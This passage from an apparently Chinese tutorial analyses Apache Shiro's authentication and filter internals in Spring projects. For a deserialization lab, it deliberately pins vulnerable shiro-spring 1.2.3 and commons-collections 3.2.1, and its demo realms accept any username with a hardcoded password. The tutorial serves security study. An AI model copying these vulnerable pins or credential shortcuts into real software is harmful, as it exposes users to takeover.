</dependency>
<dependency> <!-- 引入 shiro 标签依赖 -->
<groupId>com.github.theborakompanioni</groupId>
<artifactId>thymeleaf-extras-shiro</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
</dependencies>
随后定义com.heihu577.config.ShiroAutoConfiguration
:
@Configuration
public class ShiroAutoConfiguration {
@Bean
public ManagerRealm managerRealm() { // 定义一个 ManagerRealm
return new ManagerRealm();
}
@Bean
public UserRealm userRealm() { // 定义一个 UserRealm
return new UserRealm();
}
@Bean
public DefaultWebSecurityManager securityManager() {
DefaultWebSecurityManager defaultWebSecurityManager = new DefaultWebSecurityManager();
Collection<Realm> realms = new LinkedList<>();
realms.add(userRealm());
realms.add(managerRealm());
defaultWebSecurityManager.setRealms(realms); // 将 UserRealm ManagerRealm 同时放到 SecurityManager 中
return defaultWebSecurityManager;
}
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(securityManager());
LinkedHashMap<String, String> linkedHashMap = new LinkedHashMap<>();
linkedHashMap.put("/", "authc"); // 主页需要登录才能访问
linkedHashMap.put("/index", "authc"); // 主页需要登录才能访问
linkedHashMap.put("/static/**", "anon"); // 静态资源随意访问
linkedHashMap.put("/login", "anon"); // 登录界面随意访问
shiroFilterFactoryBean.setFilterChainDefinitionMap(linkedHashMap); // 将路由配置设置到 ShiroFilter 中
shiroFilterFactoryBean.setLoginUrl("/login"); // 未登录默认跳转到 /login 中
shiroFilterFactoryBean.setUnauthorizedUrl("/login"); // 未授权默认跳转到 /login
return shiroFilterFactoryBean;
}
}
随后定义UserRealm && ManagerRealm
, 内容如下:
@Slf4j
public class UserRealm extends AuthorizingRealm {
@Override
public String getName() {
return "UserRealm";
}
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
return null;
}
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
UsernamePasswordToken upToken = (UsernamePasswordToken) token;
log.info("UserRealm::doGetAuthenticationInfo 认证...");
AuthenticationInfo authenticationInfo =
new SimpleAuthenticationInfo(upToken.getUsername(), "123456", getName()); // 如果密码是 123456 那么 UserRealm 登录成功
return authenticationInfo;
}
}
可以看到, UserRealm
这里提供的数据信息, 不管账号是多少, 只要密码是123456
即可登录成功, 定义ManagerRealm
定义如下:
@Slf4j
public class ManagerRealm extends AuthorizingRealm {
@Override
public String getName() {
return "ManagerRealm";
}
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
return null;
}
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
UsernamePasswordToken upToken = (UsernamePasswordToken) token;
log.info("ManagerRealm::doGetAuthenticationInfo 认证...");
AuthenticationInfo authenticationInfo =
new SimpleAuthenticationInfo(upToken.getUsername(), "654321", getName()); // 如果密码是 654321 那么 ManagerRealm 登录成功
return authenticationInfo;
}
}
如果密码是654321
, 那么ManagerRealm
即可登录成功. 配置两个比较简单的Realm
进行测试.
随后我们定义PageController
:
@Controller
public class PageController {
@RequestMapping({"/", "/index"})
public String index() {
// 返回 index 主页面
/* resources/templates/index.html 文件内容如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>个人主页</title>
</head>
<body>
<h3>Hello World!</h3>
</body>
</html>
*/
return "index";
}
@GetMapping("/login")
public String login() {
/* resources/templates/login.html 文件内容如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="#" method="post">
<!-- 对 /login 发送 POST 登录请求 -->
user: <input type="text" name="username"><br>
pass: <input type="password" name="password"><br>
type: <input type="radio" value="User" name="loginType"> 普通用户
<input type="radio" value="Manager" name="loginType"> 管理员
<br>
<input type="submit" value="login">
</form>
</body>
</html>
*/
return "login"; // 若是 get 形式访问, 那么直接返回 登陆表单 界面
}
}
当然也少不了SpringBoot
主程序:
@SpringBootApplication
public class MainApp {
public static void main(String[] args) {
ConfigurableApplicationContext ioc = SpringApplication.run(MainApp.class);
}
}
最终使用admin 111111
进行登录, 控制台输出如下:
2024-10-12 12:31:43.353 INFO 21884 --- [p-nio-80-exec-6] com.heihu577.config.realm.UserRealm : UserRealm::doGetAuthenticationInfo 认证...
2024-10-12 12:31:43.353 INFO 21884 --- [p-nio-80-exec-6] com.heihu577.config.realm.ManagerRealm : ManagerRealm::doGetAuthenticationInfo 认证...
2024-10-12 14:08:46.558 ERROR 21884 --- [p-nio-80-exec-7] com.heihu577.controller.UserController : 登录失败!
可以看到, UserRealm && ManagerRealm
都进行了账号密码的认证处理,
源码分析
下面我们通过源代码的形式, 看一下底层做了什么.
将过程梳理如下:
我们可以看到的是, token
最终传递到ModularRealmAuthenticator::doAuthenticate
方法中, 若我们在该方法中增加如下判断, 即可实现分支配置:
但是问题是, 图中的loginType
我们从哪里进行获取呢?AuthenticationToken
这个参数默认是UsernamePasswordToken
, 这个里面只能封装用户名和密码信息, 并不能封装登陆类型
信息, 所以在这里我们需要自定义token
. 那么整体实现该功能流程如下:
分支配置
含义很简单, 我们需要如下情况:
我们的自定义Realm
已经完成, 所以在这里我们需要自定义Authenticator
以及自定义Token
, 那么我们先来自定义Token:
public class MyToken extends UsernamePasswordToken {
private String loginType;
public MyToken(String username, String password, String loginType) {
super(username, password);
this.loginType = loginType; // 在 UsernamePasswordToken 原有基础上新增一个 loginType 属性
}
public String getLoginType() {
return this.loginType;
}
public void setLoginType(String loginType) {
this.loginType = loginType;
}
}
由于Token
最终传递到ModularRealmAuthenticator::doAuthenticate
方法中, 所以在这里我们需要一个子类, 来继承ModularRealmAuthenticator
类, 并重写doAuthenticate
方法:
public class MyAuthenticator extends ModularRealmAuthenticator {
@Override
protected AuthenticationInfo doAuthenticate(AuthenticationToken authenticationToken) throws AuthenticationException {
Collection<Realm> realms = getRealms();
Collection<Realm> myRealm = new ArrayList<>();
MyToken myToken = (MyToken) authenticationToken; // 拿到 myToken
String loginType = myToken.getLoginType();
for (Realm realm : realms) { // 对所有 Realm 进行遍历
// 当前的 Realm 只可能是 ManagerRealm && UserRealm, 而这两个 Realm 我们都重写了 getName 方法.
if (realm.getName().startsWith(loginType)) {
// 在这里我们就可以通过这两个 getName, 来对外部 HTTP 请求来的参数值进行判断
myRealm.add(realm); // 满足条件, 那么直接将我们的 realm 添加进去
}
}
if (myRealm.size() == 1) { // ModularRealmAuthenticator 类中是对 realms 做判断, 而我们这里对 myRealm 做判断
return doSingleRealmAuthentication(myRealm.iterator().next(), authenticationToken);
} else {
return doMultiRealmAuthentication(myRealm, authenticationToken);
}
}
}
定义完自定义Authenticator
后, 我们需要将其设置到SecurityManager
中, 如下:
public MyAuthenticator getMyAuthenticator() {
return new MyAuthenticator();
}
@Bean
public DefaultWebSecurityManager securityManager() {
DefaultWebSecurityManager defaultWebSecurityManager = new DefaultWebSecurityManager();
defaultWebSecurityManager.setAuthenticator(getMyAuthenticator()); // 将我们的自定义 authenticator 设置进去
Collection<Realm> realms = new LinkedList<>();
realms.add(userRealm()); // 自定义 Realm
realms.add(managerRealm()); // 自定义 Realm
defaultWebSecurityManager.setRealms(realms);
return defaultWebSecurityManager;
}
最后我们修改UserController
中的登录逻辑如下:
public class UserController {
@PostMapping("/login")
public String login(String username, String password, String loginType) {
// 若是 POST 形式访问, 那么接收前台发送过来的账号密码信息, 使用 Subject 进行登录认证
Subject subject = SecurityUtils.getSubject();
try {
MyToken myToken = new MyToken(username, password, loginType); // 使用自定义 token
subject.login(myToken);
return "index"; // 登录成功跳转到主页
} catch (Exception e) {
log.error("登录失败!");
return "login"; // 登录失败跳转到登录页
}
}
}
如果使用普通用户登录, 控制台输出:
2024-10-12 16:57:08.850 INFO 19188 --- [p-nio-80-exec-2] com.heihu577.config.realm.UserRealm : UserRealm::doGetAuthenticationInfo 认证...
如果使用管理员用户登录, 控制台输出:
2024-10-12 16:59:18.027 INFO 19188 --- [p-nio-80-exec-6] com.heihu577.config.realm.ManagerRealm : ManagerRealm::doGetAuthenticationInfo 认证...
Shiro 底层分析
基础环境搭建 - SpringBoot
和上面我们学习 Shiro 使用的步骤一样, 在这里我们会启动一个干净的环境.
pom.xml:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId> <!-- 引入 spring-boot-starter-parent -->
<version>2.5.3</version>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId> <!-- 引入 web 模块 -->
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId> <!-- 引入 thymeleaf 模块 -->
</dependency>
<dependency>
<groupId>com.github.theborakompanioni</groupId>
<artifactId>thymeleaf-extras-shiro</artifactId> <!-- 引入 shiro 标签 -->
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId> <!-- 引入存在漏洞版本的 shiro -->
<version>1.2.3</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId> <!-- 引入 commons-collections 链 -->
<version>3.2.1</version>
</dependency>
</dependencies>
引入完毕后, 紧接着我们准备我们的ShiroAutoConfiguration
:
@Configuration
public class ShiroAutoConfiguration {
@Bean
public MyRealm getMyRealm() {
return new MyRealm(); // 用于实现, 账号任意, 密码heihu577登录成功的机制
}
@Bean
public ShiroDialect shiroDialect() {
return new ShiroDialect(); // 用于支持 shiro 标签的使用
}
@Bean
public CookieRememberMeManager getRememberMeManager() { // 支持 RememberMe, 并设置 Cookie
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
SimpleCookie simpleCookie = new SimpleCookie("rememberMe"); // 让服务器检查 rememberMe 键, 这里必须设置
simpleCookie.setMaxAge(60); // 60 秒后过期
cookieRememberMeManager.setCookie(simpleCookie);
return cookieRememberMeManager;
}
@Bean
public DefaultWebSecurityManager getSecurityManager() {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRealm(getMyRealm()); // 设置为自定义 Realm, 进行校验
securityManager.setRememberMeManager(getRememberMeManager()); // 设置 RememberMe 控制器, 用于支持 RememberMe 功能
return securityManager;
}
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(getSecurityManager()); // 设置安全管理器
HashMap<String, String> filterChainDefinitionMap = new HashMap<>(); // 准备过滤好需过滤的 URL
filterChainDefinitionMap.put("/", "user"); // 设置为记住我可访问, 如果不是记住我的状态, 后面会跳转到登录页面
filterChainDefinitionMap.put("/index", "user"); // 设置为记住我可访问, 如果不是记住我的状态, 后面会跳转到登录页面
filterChainDefinitionMap.put("/**", "authc"); // 其他所有页面必须已认证才可以访问
filterChainDefinitionMap.put("/login", "anon"); // 登陆页面, 所有人可访问
filterChainDefinitionMap.put("/user/login", "anon"); // 登录处理口, 所有人可访问
shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);
shiroFilterFactoryBean.setLoginUrl("/login"); // 默认登录页面
shiroFilterFactoryBean.setUnauthorizedUrl("/login"); // 未认证的情况, 也跳转到登录页面
return shiroFilterFactoryBean;
}
}
当然了, 这里我们也需要引入我们的自定义Realm
:
public class MyRealm extends AuthorizingRealm {
@Override
public String getName() {
return "MyRealm";
}
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
return null; // 授权过程暂且不实现
}
@Override // 认证时所调用的方法
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken;
String username = token.getUsername();
// 用户名任意, 密码为 heihu577 则登录成功
return new SimpleAuthenticationInfo(username, "heihu577", this.getName());
}
}
其自定义Realm的实现很简单, 我们只重写了doGetAuthenticationInfo
认证方法, 让其账户名任意, 密码只要是heihu577
就可以登录成功.
定义所需要的控制器:
// 专门应用于页面的控制器
@Controller
public class PageController {
@GetMapping("/login")
public String login() {
return "login";
/*
resources/templates/login.html 定义如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>用户登录</title>
<base href="/">
</head>
<body>
<form action="user/login" method="post"> <!-- 这里发送的控制器请求在 UserController 进行接收 -->
u: <input type="text" name="username"><br>
p: <input type="password" name="password"><br>
rememberMe: <input type="radio" name="rememberMe"><br>
<input value="登录" type="submit">
</form>
</body>
</html>
*/
}
@RequestMapping({"/", "/index"})
public String index() {
return "index";
/*
resources/templates/index.html 定义如下:
<!DOCTYPE html>
<html lang="en"xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">
<head>
<meta charset="UTF-8">
<title>主页面</title>
</head>
<body>
<!-- 打印出当前用户名 -->
<h3>Hello User: <shiro:principal/></h3>
</body>
</html>
*/
}
}
// 登录处理请求的控制器
@Controller
@RequestMapping("/user")
public class UserController {
@PostMapping("/login")
public String login(String username, String password, boolean rememberMe) {
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
usernamePasswordToken.setRememberMe(rememberMe); // rememberMe 的设置根据前端表格请求来决定.
try {
subject.login(usernamePasswordToken); // login 中有 序列化 | 反序列化操作
System.out.println("--------登陆成功!");
return "index"; // 登录成功跳转到主页面
} catch (AuthenticationException e) {
System.out.println("--------登陆失败!");
return "login"; // 登录失败跳转到登录表单
}
}
}
定义完毕后, 我们定义MainApp
进行SpringBoot的启动:
@SpringBootApplication
public class MainApp {
public static void main(String[] args) {
ConfigurableApplicationContext ioc = SpringApplication.run(MainApp.class);
}
}
ShiroFilterFactoryBean 工作原理
在我们之前的配置所了解到, ShiroFilterFactoryBean
是用来配置一个Filter
过滤器的, 但是为什么只要定义ShiroFilterFactoryBean
这么一个Filter
, 那么就会自动注入到SpringBoot
容器中?它的工作原理是怎么样的?
为了思路清晰, 所以我们需要研究SpringBoot
底层是如何自动创建Filter
的, 笔者在这里准备建立一个新项目, 其中准备MyAutoConfiguration
, 配置如下:
@Configuration
public class MyAutoConfiguration {
@Bean
public FilterRegistrationBean filter01() {
FilterRegistrationBean filterRegistrationBean = new FilterRegistrationBean();
filterRegistrationBean.setFilter((request, response, chain) -> { // 使用 lambda 表达式
System.out.println("filter01...");
chain.doFilter(request, response);
});
filterRegistrationBean.addUrlPatterns("/*"); // 指明路径
filterRegistrationBean.addUrlPatterns("/filter01"); // 指明路径, 多加一个过滤器进行匹配
return filterRegistrationBean;
}
@Bean
public Filter filter02() { // 没指明路径
return (request, response, chain) -> {
System.out.println("filter02...");
chain.doFilter(request, response);
};
}
}
这两个filter
很简单:
filter01
这个Bean是通过SpringBoot
官方API提供的FilterRegistrationBean
进行注入Filter
. 并且这里指明了该Filter过滤的路径为: /*
与/filter01
.
filter02
这个Bean是通过创建一个Filter的Bean
来指明一个Filter
, 该Filter
并没有定义过滤路径.
下面我们正常访问主页面看一下执行效果:
我们可以看到的是, filter01 && filter02
都已经成功注入到了SpringBoot
容器中, 并访问/filter01
之后, 这两个filter都响应到了.
那么我们接下来会想, filter02
并没有配置UrlPatterns
, 而他注入到SpringBoot
容器中的UrlPatterns
又是什么呢?
SpringBoot 注入 filter 原理
在我们之前的SpringBoot基础
中有提到, SpringBoot底层会创建一个Tomcat
容器, 其中Tomcat
容器的调用链如下:
这张图说明了SpringBoot
创建Tomcat容器
并Spring创建Bean
的整个过程, 在图中我们可以看到ServletWebServerApplicationContext::onRefresh
方法会创建Tomcat
并启动, 过程如下:
在ServletWebServerApplicationContext::createWebServer
方法中, 会对Tomcat
进行启动操作, 但是通过上图我们可以看到, factory.getWebServer(getSelfInitializer())
这个方法会将ServletWebServerApplicationContext:selfInitialize
方法当作第一个参数调用进去中, 我们并不需要关心什么时候调用到该方法的, 因为对于容器的初始化工作会走到这里.
getServletContextInitializerBeans 方法分析
下面我们来看一下红框圈住的getServletContextInitializerBeans
方法做了什么:
protected Collection<ServletContextInitializer> getServletContextInitializerBeans() {
return new ServletContextInitializerBeans(getBeanFactory());
}
这个方法返回了Collection<ServletContextInitializer>
实例可以看到, ServletContextInitializerBeans
是返回值, 那么该返回值一定是Collection
实例, 我们看一下ServletContextInitializerBeans
类的关系图:
实现了Collection
接口, 那么我们看一下这个类的构造方法做了什么:
最终会对initializers
这个LinkedMultiValueMap
进行增加键值操作, LinkedMultiValueMap
是由Spring提供的Map, 我们看一下LinkedMultiValueMap
是什么样的:
LinkedMultiValueMap<String, String> linkedMultiValueMap = new LinkedMultiValueMap<>();
linkedMultiValueMap.add("key1", "test01");
linkedMultiValueMap.add("key1", "test02");
linkedMultiValueMap.add("key2", "test03");
System.out.println(linkedMultiValueMap); // {key1=[test01, test02], key2=[test03]}
与常规Map不同的是, 该Map存储类型是{键1=ArrayList,键2=ArrayList...}
这样的, 那么我们看一下最终这个initializers
的数据结构是什么样的:
那么接下来分析一下addAdaptableBeans
方法做了什么.
可以从图中看到, 最终将当前容器所有的实例化Filter的Bean, 封装为了FilterRegistrationBean
, 仍然加入到了initializers
这个成员属性中去, 那么当前的initializers
属性结果如下:
其中我们的filter01, filter02
成功的加入到了该成员属性中去! 而在每一次对ServletContextInitializerBeans
实例进行遍历时, 就会调用到iterator()
方法, 该方法定义如下:
到现在我们终于理解了, 为什么filter02
仅仅只返回了一个Filter
, 却可以直接的注入到我们的SpringBoot
容器中去, 原来一个普通的Filter
会被FilterRegistrationBeanAdapter
进行创建成一个FilterRegistrationBean
! 当然现在还没有开始注入, 真正的注入点还是回到我们之前的遍历点.
注入机制
终于把getServletContextInitializerBeans
方法分析完毕了, 而我们知道, FilterRegistrationBean
是ServletContextInitializer
的子类, 而调用它的onStartUp
过程如下:
可以从图中直观的看到我们增加Filter
的完整调用流程了, 只不过还有一个问题, 我们的filter02
是没有配置匹配路径的, 下面我们来看一下configure
方法对路径的处理:
protected void configure(D registration) {
registration.setAsyncSupported(this.asyncSupported);
if (!this.initParameters.isEmpty()) {
registration.setInitParameters(this.initParameters); // 设置 InitParameter 参数
}
}
@Override
protected void configure(FilterRegistration.Dynamic registration) {
super.configure(registration);
// ... 其他代码
if (servletNames.isEmpty() && this.urlPatterns.isEmpty()) {
// 当 servletName 没有配置, urlPatterns 没有配置, 则会设置为默认的路径配置
// private static final String[] DEFAULT_URL_MAPPINGS = { "/*" };
registration.addMappingForUrlPatterns(dispatcherTypes, this.matchAfter, DEFAULT_URL_MAPPINGS);
}
// ... 其他代码
}
如果当前Filter
并没有给具体的路径的话, 就会给出默认的/*
, 至此, 整个Filter注入机制梳理清晰.
ShiroFilterFactoryBean 机制
回到我们的环境中, 我们来看一下ShiroFilterFactoryBean
的类结构.
可以看到的是, ShiroFilterFactoryBean
一共实现了两个Spring
的接口, 分别是FactoryBean && BeanPostProcessor
, 这两个接口相信大家也不陌生, FactoryBean
是工厂类, 而BeanPostProcessor
是后置处理器.
FactoryBean::getObject 得到了什么
当Spring扫描所有Bean时, 如果发现该Bean是属于FactoryBean, 那么就会调用该FactoryBean的getObject
方法, 而ShiroFilterFactoryBean::getObject
方法中定义的方法如下:
public Object getObject() throws Exception {
if (instance == null) {
instance = createInstance(); // 调用 createInstance 方法
}
return instance;
}
protected AbstractShiroFilter createInstance() throws Exception {
SecurityManager securityManager = getSecurityManager();
if (securityManager == null) {
String msg = "SecurityManager property must be set.";
throw new BeanInitializationException(msg);
}
if (!(securityManager instanceof WebSecurityManager)) {
String msg = "The security manager does not implement the WebSecurityManager interface.";
throw new BeanInitializationException(msg);
}
FilterChainManager manager = createFilterChainManager();
PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
chainResolver.setFilterChainManager(manager);
return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver); // 最终返回 SpringShiroFilter 实例
}
private static final class SpringShiroFilter extends AbstractShiroFilter {
protected SpringShiroFilter(WebSecurityManager webSecurityManager, FilterChainResolver resolver) {
super();
if (webSecurityManager == null) {
throw new IllegalArgumentException("WebSecurityManager property cannot be null.");
}
setSecurityManager(webSecurityManager);
if (resolver != null) {
setFilterChainResolver(resolver);
}
}
}
而我们打开SpringShiroFilter
类图, 我们就可以看到, 该类是一个Filter
:
那么, 该 Filter 会注入到我们的 WEB 容器中. 并且路径匹配为 /*.
OncePerRequestFilter
OncePerRequestFilter
这个Filter
是SpringBoot
提供的, 它确保了在一次完整的HTTP请求中, 无论请求经过多少次内部转发, 过滤器的逻辑都只会被执行一次. 笔者在这里定义如下:
@Component // 让 SpringBoot 扫描到
@WebFilter(urlPatterns = "/*") // 定义是一个 Filter, 并且定义 url 解析规则
public class MyFilter extends OncePerRequestFilter {
@Override
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
System.out.println("Filter");
filterChain.doFilter(request, response);
}
}
随后我们随机访问, 即可在控制台中输出Filter
, 在这里笔者就不贴图了. 而我们的SpringShiroFilter
也是继承于OncePerRequestFilter
, 所以当每次请求过来时, 会调用AbstractShiroFilter::doFilterInternal
方法.
SpringShiroFilter 运行原理分析
那么下面我们开始分析SpringShiroFilter
到底做了什么事, 从我们最开始的Shiro
配置代码段开始:
可以看到的是, 我们的配置信息代码段, 只不过是对该类进行了一系列设置, 设置之后, 由于该类是工厂类 (FactoryBean), 所以会调用该类的getObject
方法.
功能总结: 从配置文件中进行配置 ShiroFilterFactoryBean, 只是在对 ShiroFilterFactoryBean 的属性做赋值处理.
getObject 核心逻辑
FilterChainManager::DefaultFilterChainManager
功能总结:
DefaultFilterChainManager 维护了两个属性: filters, filterChains
filters: 是 Shiro 本身就存在的 Filter 数组, 记载权限与对应Filter的关系, 例如: anon 对应了 AnonymouseFilter
如类名一样, DefaultFilterChainManager::filters
成员属性放置了Shiro
自带的权限校验的Filter
. 一共有11个Filter在其中. 那么我们继续往下观察.
接下来这个applyGlobalPropertiesIfNecessary
方法做的事情, 则是将刚才11个Shiro提供的默认Filter进行遍历. 判断这11个Filter中, 是否是AccessControlFilter, AuthenticationFilter, AuthorizationFilter
的实例, 如果是的话, 那么将ShiroFilterFactoryBean::对应属性
设置到具体Filter
中去.
而ShiroFilterFactoryBean::对应属性
在我们的ShiroAutoConfiguration
配置文件中, 是由程序员自己设置的, 我们在刚开始也讲过了.
遍历 filters, 设置特殊 filter 中的属性值为程序员在配置类中定义的值.
例如:
shiroFilterFactoryBean.setLoginUrl("/login"); // 默认登录页面
shiroFilterFactoryBean.setUnauthorizedUrl("/login"); // 未认证的情况, 也跳转到登录页面
会设置到 AuthorizationFilter, AccessControlFilter 中去.
那么我们接着往下看:
乍一看感觉流程很复杂, 但其实我们将其梳理简单的话是这样的:
{("/","user"),("/index","user"),("/**","authc"),("/login","anon"),("/user/login","anon")}
这是当前已经配置好的 Map, 通过 Value 值, 找到对应的 Filter, 例如: user 对应了 UserFilter, /** 对应了 userFilter...
最终生成如下 Map, 作为 filterChain 的属性:
{("/", SimpleNamedFilterList[UserFilter]), ("/index",[UserFilter]),("/**",[FormAuthenticationFilter])...}
处理 filterChains, filterChains 是由如下配置生成出来的
filterChainDefinitionMap.put("/", "user");
...
FilterChainResolver::PathMatchingFilterChainResolver
代码再继续运行, 我们则会看到FilterChainResolver
的身影:
目前我们知道的是, PathMatchingFilterChainResolver
只是将FilterChainManager
设置进去了, 这里并没有调用其他方法, 随后丢给了new SpringShiroFilter
, 目前我们还不知道PathMatchingFilterChainResolver
具体是用来干嘛的, 先不管, 后面看程序是否调用到某个方法时, 我们再进行研究.
new SpringShiroFilter
最后就走到SpringShiroFilter
这个构造函数了, 分别传递了WebSecurityManager
以及FilterChainResolver
, 下面我们看一下做了一些什么操作:
这个Filter最终设置了程序员定义的WebSecurityManager
以及在createInstance()
方法中生成的FilterChainResolver
. 虽然目前我们还不知道FilterChainResolver
做了什么.
doFilterInternal 核心逻辑
因为SpringShiroFilter
是一个Filter
, 并且实现了OncePerRequestFilter
, 所以每次HTTP请求过来时, 会调用doFilterInternal
方法, 现在我们看一下这个方法做了什么:
封装 request, response
这里只是对 request, response 进行了简单的封装, 封装为ShiroHttpServletRequest, ShiroHttpServletResponse
, 读到这里暂时还没有发现对这两种方法上有什么扩展, 暂时先不管. 不过这两个封装的类类图如下:
可以看到, 都实现了HttpServletRequest, HttpServletResponse
.
createSubject::SubjectContext
下面我们首先分析一下WebSubject.Builder
方法做了什么事情:
我们可以看到的是, WebSubject.Builder
这个类, 维护了subjectContext && securityManager
, securityManager
从刚开始我们已经介绍过了, 重点是这个SubjectContext
.
SubjectContext
是一个大的Map, 这个Map中包含了SecurityManager, ShiroServletRequest, ShiroServletResponse
, 它的关系图如下:
我们可以看到的是, 它将本次请求的request, response
, 以及我们重要的securityManager
进行封装了. 那么下面我们看一下WebSubject.Builder::buildWebSubject
方法做了什么:
可以看到的是, 当一次请求过来, 如果当前请求存在 SESSION, 那么会将当前的 SESSION 放入到 SubjectContext 这个 Map 中进行管理.
我们可以清晰的感觉到, SubjectContext 中存储了当前 HTTP 请求的各种状态.
这里我们可以看到, 首先判断SESSION, 如果SESSION中存在用户名信息, 那么就直接返回, 如果SESSION不存在, 或者SESSION中没有用户名信息, 那么就会通过RememberMe
组件进行反序列化得到当前用户信息, 这里存在一个Shiro550的一个漏洞, 先留下悬念, 漏洞后面我们再分析.
通过这几行代码, 我们可以清楚的感受到, SubjectContext 这个 Map 中存放着当前 HTTP 请求中的所有状态, 以及我们的 SecurityManager.
下面 save 方法仅仅只是对 subject 进行校验, 在这里就不再说明了, 因为整个createSubject
方法是对subject
的处理. subject 中包含了当前状态的信息, 知道这些, 已经足够了.
subject.execute
WebDelegatingSubject, 是 createSubject 的返回结果, 那么我们看一下该类图:
那么我们接着看代码:
可以看到, SubjectCallable
类似于一个代理类, 它将外部的
new Callable() {
public Object call() throws Exception {
updateSessionLastAccessTime(request, response);
executeChain(request, response, chain);
return null;
}
}
封装到自己的callable属性
中, 将WebDelegatingSubject
封装为了SubjectThreadState
. 因为subject.execute
会执行SubjectCallable::call
方法, 那么我们跟进:
可以看到的是, 这一系列代码做了两件事:
- 将当前 WebDelegatingSubject 对象与线程绑定在一起
- 获取当前URI, 与 FilterChainManager 中的 URI 进行逐步匹配, 匹配成功后会调用
filterChainManager.proxy(originalChain,当前URI)
方法.
那么我们看一下匹配成功后做了什么事情:
假设匹配到的 Filter 为: SimpleNamedFilterList[AnonymouseFilter, UserFilter]
.
匹配成功后, 将SimpleNamedFilterList
交给ProxiedFilterChain
, 随后ProxiedFilterChain
调用AnonymouseFilter::onPreHandle
方法, 执行完毕后, 接着调用UserFilter::onPreHandle
, 当SimpleNamedFilterList
遍历完毕后, 运行结束.
从这里我们可以看到, Shiro
中自带的Filter
, 核心逻辑是重定义onPreHandle | preHandle
方法, 下面看一下一些Filter
的onPreHandle
方法是怎么定义的:
可以看到AnonymousFilter
作为anon
的代名词, 只要配置了anon
并访问具体路由, 就会调用到AnonymousFilter::onPreHandle
方法, 任何用户都可以直接访问, 是因为这里直接返回了 true.
而LogoutFilter
作为logout
的代名词, 只要配置了logout
并访问具体路由, 就会调用到LogoutFilter::preHandle
方法, 直接调用了subject.logout()
方法进行清空当前状态.
而UserFilter
的定义比较复杂, 它的onPreHandle
是在父类上, 其定义如下:
这里的一些其他逻辑, 我们在做测试的时候可以细看, 至此, 整个 Shiro 框架运行核心原理已清楚!
SpringMVC 环境搭建
由于我们上面的环境是配置在SpringBoot
上的, 我们阅读底层源码的时候, 因为SpringBoot
有FilterRegistrationBean && 自动扫描 Filter
机制, 所以我们在SpringBoot
中, 只要稍微配置一下ShiroFilterFacotryBean
即可直接使用ShiroFilter
, 而在 SpringMVC 环境中, 是不存在FilterRegistrationBean
的.
这一部分知识点不只是开发的, 包括我们在打 Shiro
反序列化漏洞的时候, SpringMVC 环境 与 SpringBoot 环境也大有不同, 经过思考, 将 SpringMVC 环境下的配置核心原理, 也写出来.
注意使用 IDEA 创建项目时, 选择Maven ArcheType
, 引入所需要的扩展:
<dependencies>
<dependency> <!-- 引入 junit, 可以进行测试包 -->
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency> <!-- 引入 springMVC -->
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.8</version>
</dependency>
<dependency> <!-- 支持切面编程 -->
<groupId>org.springframework</groupId>
<artifactId>spring-aspects</artifactId>
<version>5.3.8</version>
</dependency>
<dependency> <!-- 引入 servlet-api -->
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
<dependency> <!-- 引入 shiro-spring -->
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.3</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId> <!-- 引入 commons-collections 链 -->
<version>3.2.1</version>
</dependency>
<!-- 添加Tomcat依赖, 对应到自己的版本号 -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.100</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-servlet-api</artifactId>
<version>8.5.100</version>
<scope>provided</scope>
</dependency>
<!-- 如果你需要使用Jasper for JSP support -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>8.5.100</version>
<scope>provided</scope>
</dependency>
